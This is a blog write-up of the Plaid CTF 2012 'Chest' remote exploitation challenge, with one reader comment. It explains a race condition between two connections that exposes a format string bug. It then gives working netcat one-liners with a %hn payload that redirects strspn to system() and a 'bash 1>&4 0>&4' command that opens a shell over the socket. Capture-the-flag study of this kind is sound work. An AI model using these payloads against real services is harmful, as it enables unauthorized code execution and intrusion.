Plaid CTF 2012 – Chest

Robots are running secret service that aims to mill down diamonds into fairy dust, and use it to take over our world! Help us please!
300 points, Pwnables, 18 teams solved this

This is one of those challenges where just playing around with it turned out to be faster than actually figuring out what was going on.

This was a remote exploit challenge. The service in question allows you to create “chests” (or data stores) which can hold a certain amount of data. If you add more data, the chest is deleted (“blows up”). You can also destroy a chest yourself. It is possible to access a chest from more than one connection at a time, leading us to suspect a synchronization issue.

Looking at the binary confirms this suspicion, since the program uses a fancy flock()-based synchronization scheme. The presence of a filtering function which strips special (read: format string) characters leads us to suspect that by exploiting a synchronization issue it is possible to get an unsanitized string into a printf somewhere, making a standard format string exploit possible.

While trying to figure out exactly what was going on with the locking, fseek’ing and truncating, another team member was just playing around with the service and managed to make it parse format string characters in a reproduceable manner. Pragmatism ftw πŸ™‚

The sequence to obtain a format string vulnerability is as follows:

  • Open a connection, accept the chest name it gives you.
  • Open a second connection. Use the same chest as for the first connection. Immediately delete the chest and go back to the first connection.
  • Store an item containing format specifiers.
  • List the items. Your format string will be evaluated.

What’s more, the ‘system’ function is actually used in the binary, so we don’t even have to go to the effort to dump a libc address. Our exploit will simply patch the GOT entry for the strspn function (which is used to sanitize user input) to point to the PLT entry for ‘system’. Thus, after our format string is evaluated, any further user input will be passed to system() instead of being sanitized. This user input is limited to 25 characters, but this is plenty of characters to start a shell with stdin and stdout redirected to the existing socket (which turns out to be at file descriptor number 4).

The PLT entries for system() and strspn():

08048790 <system@plt>:
 8048790:	ff 25 9c ab 04 08    	jmp    DWORD PTR ds:0x804ab9c
 8048796:	68 28 00 00 00       	push   0x28
 804879b:	e9 90 ff ff ff       	jmp    8048730 <open@plt-0x10>

080488e0 <strspn@plt>:
 80488e0:	ff 25 f0 ab 04 08    	jmp    DWORD PTR ds:0x804abf0
 80488e6:	68 d0 00 00 00       	push   0xd0
 80488eb:	e9 40 fe ff ff       	jmp    8048730 <open@plt-0x10>

So we want to write 0x8048790 to address 0x804abf0. Because this is next to another GOT entry which is used from time to time we’ll use the nonstandard %hn specifier to strictly write a 16-bit value at a time without spilling over into the next GOT entry with one of the writes.

One more thing remains: our user input will be “sanitized” by strspn before it gets passed to printf, which in practise means the first “bad” char will be replaced with a linefeed. So we add a dummy value at the start which will get overwritten with a linefeed.

Now for the exploit.

First, open a terminal and paste this:

(echo; read; echo 2; echo -e 'ABC%\xf0\xab\x04\x08\xf2\xab\x04\x08%7$34692hx%7$hn%8$32884hx%8$hn'; echo 1; echo 'bash 1>&4 0>&4'; cat) | nc 1282

This blocks on the ‘read’ after accepting the default choice of chest name. Open a new terminal and paste the following command (replacing XXXXWdbJ9E with whatever chest name was generated for you in the other terminal):

(echo XXXXWdbJ9E; echo 5; sleep 1) | nc 1282

This will destroy the chest being used by the other session. Go back to the original terminal and press enter. This will send the format string, trigger its evaluation, and then send a command which binds a shell to the socket.

Congratulations, you are now in a shell! All you have to do is type “cat key” to get the flag.

And no, I still don’t really know what was going on. I’ll get back to it when I have the time, honest! πŸ™‚

{One Response to “Plaid CTF 2012 – Chest”}

  1. I solved this one for our team. We also, at the time of the competition didn’t root cause the vuln. After taking a second look at this one I believe it to be using uninitialized data from the stack. The function ReadItems() reads values from the file into a stack buffer and then dprintf()’s them to the socket. If the file handle is closed then the dprintf() uses uninitialized stack data from the current frame, which just so happens to be unfiltered data read in from the previous ReadItems() function call. We also exploited with strspn()->system() overwrite. PPP also had netcat’s “-e” option enabled to ease exploitation. πŸ™‚ Thanks for all the write ups guys!

    Peter [Hates Irony]